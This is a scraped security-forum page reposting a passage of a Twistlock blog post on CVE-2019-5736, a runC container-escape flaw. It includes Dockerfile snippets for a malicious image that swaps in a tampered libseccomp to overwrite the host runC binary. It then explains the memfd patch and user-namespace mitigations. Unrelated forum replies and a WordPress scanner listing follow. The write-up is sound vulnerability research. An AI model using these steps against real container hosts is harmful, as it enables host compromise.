is superior to POCs similar to mine since it can be implemented to compromise the host through two separate methods: When a user execs a command into an existing attacker controlled container When a user runs a malicious image We’ll now look into building a malicious image since the previous POC already demonstrated the first scenario. The POC I wrote for this method is heavily based on q3k’s POC, which, to the best of my knowledge, was the first published malicious image POC. You can view the full POC code here. Let’s go over the Dockerfile used to build the malicious image. First, the entry point of the image is set to /proc/self/exe in order to trick runC into executing itself when the image is run. # Create a symbolic link to /proc/self/exe and set it as the image entrypoint RUN set -e -x ;\ ln -s /proc/self/exe /entrypoint ENTRYPOINT [ "/entrypoint" ] RunC is dynamically linked to several shared libraries at run time, which can be listed using the ldd command. When the runC process is executed in the container, those libraries are loaded into the runC process by the dynamic linker. It is possible to substitute one of those libraries with a malicious version, that will overwrite the runC binary upon being loaded into the runC process. Our Dockerfile builds a malicious version of the libseccomp library: # Append the run_at_link function to the libseccomp-2.3.1/src/api.c file and build libseccomp ADD run_at_link.c /root/run_at_link.c RUN set -e -x ;\ cd /root/libseccomp-2.3.1 ;\ cat /root/run_at_link.c >> src/api.c ;\ DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us ;\ dpkg -i /root/*.deb The Dockerfile appends the content of run_at_link.c one of libsecomp’s source files. Subsequently, the malicious libsecomp is built. The constructor attribute (a GCC-specific syntax) indicates that the run_at_link function is to be executed as an initialization function [2] for libseccomp after the dynamic linker loads the library into the runC process. Since run_at_link will be executed by the runC process, it can access the runC binary at /proc/self/exe. The runC process must exit for the runC binary to be writable though. To enforce the exit, run_at_link calls the execve syscall to execute overwrite_runc. Since execve doesn’t affect the file descriptors open by the process, the same file descriptor trick from the previous POC can be used: The runC process loads the libseccomp library and transfers execution to the run_at_link function. run_at_link opens the runC binary for reading through /proc/self/exe. This creates a file descriptor at /proc/self/fd/${runc_fd_read}. run_at_link calls execve to execute overwrite_runc. The process is no longer running the runC binary, overwrite_runc opens /proc/self/fd/runc_fd_read for writing and overwrites the runC binary. For the following video, I built a malicious image that overwrites the runC binary with a simple script that spawns a reverse shell at port 2345. The docker run command executes runC twice. Once to create and run the container, which executes the POC to overwrite runC, and then again to stop the container using runc delete [3]. The second time runC is executed, it is already overwritten, and hence the reverse shell script is executed instead. The Fix RunC and LXC were both patched using the same approach, which is described clearly in the LXC patch commit: To prevent this attack, LXC has been patched to create a temporary copy of the calling binary itself when it starts or attaches to containers. To do this LXC creates an anonymous, in-memory file using the memfd_create() system call and copies itself into the temporary in-memory file, which is then sealed to prevent further modifications. LXC then executes this sealed, in-memory file instead of the original on-disk binary. Any compromising write operations from a privileged container to the host LXC binary will then write to the temporary in-memory binary and not to the host binary on-disk, preserving the integrity of the host LXC binary. Also as the temporary, in-memory LXC binary is sealed, writes to this will also fail. RunC has been patched using the same method. It re-executes from a temporary copy of itself when it starts or attaches to containers. Consequently, /proc/[runc-pid]/exe now points to the temporary file, and the runC binary can’t be reached from within the container. The temporary file is also sealed to block writing to it, although overwriting it shouldn’t compromise the host. This patch introduced some issues though. The temporary runC copy is created in-memory after the runc init process has already applied the container’s cgroup memory constraints on itself. For containers running with a relatively low memory limit (e.g 10Mb), this can cause processes in the container to be oom-killed (Out Of Memory killed) by the kernel when the runC init process attaches to the container. If you are interested, an issue regarding this complication was created and contains a discussion about alternative fixes that might not introduce the same problem. CVE-2019-5736 and Privileged Containers As a general rule of thumb, privileged containers (of a given container runtime) are less secure then unprivileged containers (of the same runtime). Earlier I stated that the vulnerability affects all Docker containers but only LXC’s privileged containers. So why are Docker unprivileged containers vulnerable while LXC unprivileged containers aren’t? Well, it’s because LXC and Docker define privileged containers differently. In fact, Docker unprivileged containers are considered privileged according to LXC philosophy. Privileged containers are defined as any container where the container uid 0 is mapped to the host's uid 0. The main difference is that LXC runs unprivileged containers in a separate user namespace by default, while Docker doesn’t. User namespaces are a feature of Linux that can be used to separate the container root from the host root. The root inside the container, as well as all other users, are mapped to unprivileged users on the host. In other words, a process can have root access for operations inside the container but is unprivileged for operations outside it. If you would like a more in-depth explanation, I recommend LWN’s namespace series So how does running the container in a user namespace mitigate this vulnerability? The attacker is root inside the container but is mapped to an unprivileged user on the host. Therefore, when the attacker tries to open the host’s runC binary for writing, he is denied by the kernel. You might wonder why Docker doesn’t run containers in a separate user namespace by default. It’s because user namespaces do have some drawbacks in the context of containers, which are a bit out of the scope of this post. If you are interested, Docker and rkt (another container runtime) both list the limitations of running containers in user namespaces. Ending Note I hope this post gave you a bit of insight into the different aspects of this vulnerability. If you are using either runC, Docker, or LXC, don’t forget to update to the patched version. Feel free to reach out with any questions you may have through email or @TwistlockLabs. [1] As a side note, privileged Docker containers (before the new patch) could use the /proc/pid/exe of the runc init process to overwrite the runC binary. To be exact, the specific privileges required are SYS_CAP_PTRACE and disabling AppArmor. [2] For those familiar with Windows DLLs, it resembles DllMain. [3] The container is stopped after overwrite_runc exits, since overwrite_runc was executed as the init process (PID 1) of the container. Yuval Avrahami | Security Researcher Yuval Avrahami is a security researcher at Twistlock, dealing with hacking and securing anything related to containers. Yuval is a veteran of the Israeli Air Force, where he served in the role of a researcher. Sursa: https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
    1 point
  11. When is a vulnerability actually a vulnerability? I can't answer this question easily, and thus we look at a few examples in this video.
    1 point
  12. Unele distributii au activate setari prin care nu vezi pe Desktop fisierele si dosarele din dosarul Desktop. Exemplu: https://askubuntu.com/questions/43246/how-to-configure-gnome-3-to-show-icons-on-desktop
    1 point
  13. Mai are cineva probleme cu site-ul pe Chrome? Nu se incarca bine daca nu am DevTools deschis L.E.: Ati inchis website-ul mai devreme? L.E.2: As avea si eu o intrebare pentru echipa racheta: cum ati rezolvat Spania?
    1 point
  14. ^ era si Sekt0r bre cyber Edit:// cu sector am baut o bere acum un an sau doi, pe cyber numai stiu nimic de el,
    -1 points
  15. Da man, asta le zic si eu, unii, ce a patit daniela cu mutu
    -1 points
  16. Overview WordPress Vulnerability Scanner - Scan for vulnerabilities, version, themes, plugins and much more! WPintel allows you to scan self hosted WordPress sites. With WPintel you can detect the following: • Version • Version vulnerabilities • Plugins • Themes • Users and much more! Although WPintel is designed for self hosted (wordpress.org) WordPress sites, some of it's functionalities still work for sites hosted on wordpress.com. DISCLAIMER: Usage of this extension without prior mutual consent can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program. Source: https://chrome.google.com/webstore/detail/wpintel/mkhmkjcbidkifopffebieonhhkondlfe
    -1 points
×
×
  • Create New...